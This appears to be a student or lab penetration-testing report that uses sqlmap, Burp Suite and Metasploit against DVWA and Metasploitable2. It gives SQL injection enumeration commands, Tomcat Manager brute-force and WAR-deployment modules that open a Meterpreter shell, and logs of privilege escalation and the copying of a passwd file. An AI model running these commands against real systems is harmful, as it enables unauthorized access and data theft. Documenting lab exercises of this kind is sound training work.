Exploitation_Notes

Exploitation Overview

The exploitation phase focused on validating whether identified vulnerabilities could be successfully exploited in real-world scenarios.

Target Environment

Exploitation was performed against DVWA and Metasploitable2 within a controlled lab setup.

Exploitation Tools Used

- Burp Suite
- sqlmap
- Metasploit Framework

SQL Injection Exploitation (DVWA)

SQL Injection vulnerabilities were exploited using sqlmap after identifying injectable parameters through manual testing and Burp Suite interception.

Commands:

This command was used to detect and enumerate databases through a vulnerable SQL injection parameter.

sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -cookie="security=low; PHPSESSID=17ertyu234jbv765nbvc" --dbs --batch

Used to enumerate tables within the vulnerable database, confirming successful exploitation.

sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -cookie="security=low; PHPSESSID=17ertyu234jbv765nbvc" -D dvwa –tables

Metasploit Exploitation (Metasploitable2)

Metasploit was used to exploit known vulnerabilities, resulting in remote shell access and validation of system-level compromise.

Commands:

#This auxiliary module was used to identify valid Tomcat Manager credentials.

use auxiliary/scanner/http/tomcat_mgr_login

#This exploit was used to deploy a malicious application using valid credentials, resulting in remote code execution.

use exploit/multi/http/tomcat_mgr_deploy

Exploitation Activity Log

Timestamp	Tool	Exploit / Action Performed	Target	Result
2026-01-06 11:30:00	Metasploit	Tomcat Manager credential brute-force	192.168.0.9	Valid credentials found
2026-01-06 11:40:00	Metasploit	Tomcat Manager WAR deployment	192.168.0.9	Meterpreter session opened
2026-01-06 12:05:00	Burp Suite	Intercepted login request	DVWA	Injectable parameter identified
2026-01-06 12:15:00	sqlmap	Automated SQL Injection exploitation	DVWA	Database extracted

Post-Exploitation Activities

Post-exploitation included system enumeration, privilege checks, and controlled evidence collection to demonstrate impact.

Commands:

#Displays system-level information of the compromised host.

Sysinfo

#Displays system-level information of the compromised host.

getuid

Post-Exploitation Activity log

Timestamp	Tool	Action Performed	Target	Outcome
2026-01-06 12:30:00	Meterpreter	System information enumeration	Metasploitable2	OS and architecture identified
2026-01-06 12:40:00	Meterpreter	User and privilege enumeration	Metasploitable2	Low-privilege user confirmed
2026-01-06 12:50:00	Metasploit	Privilege escalation attempt	Metasploitable2	Root access obtained
2026-01-06 13:00:00	Meterpreter	File access and data collection	Metasploitable2	Sensitive files accessed
2026-01-06 13:10:00	sha256sum	Evidence hashing for integrity validation	Evidence file	SHA-256 hash generated

Evidence Collection and Hashing

Collected files were hashed using SHA-256 to ensure integrity and proper documentation of evidence.

Command:

#Used to generate cryptographic hashes for collected evidence to maintain integrity.

sha256sum passwd_copy.txt

Exploit Validation Summary

Exploitation confirmed that identified vulnerabilities were exploitable and posed significant security risks. Successful attacks demonstrated unauthorized access, data exposure, and system compromise in a controlled environment.The exploit results were validated against publicly available Proof-of-Concepts from Exploit-DB to ensure accuracy and reproducibility.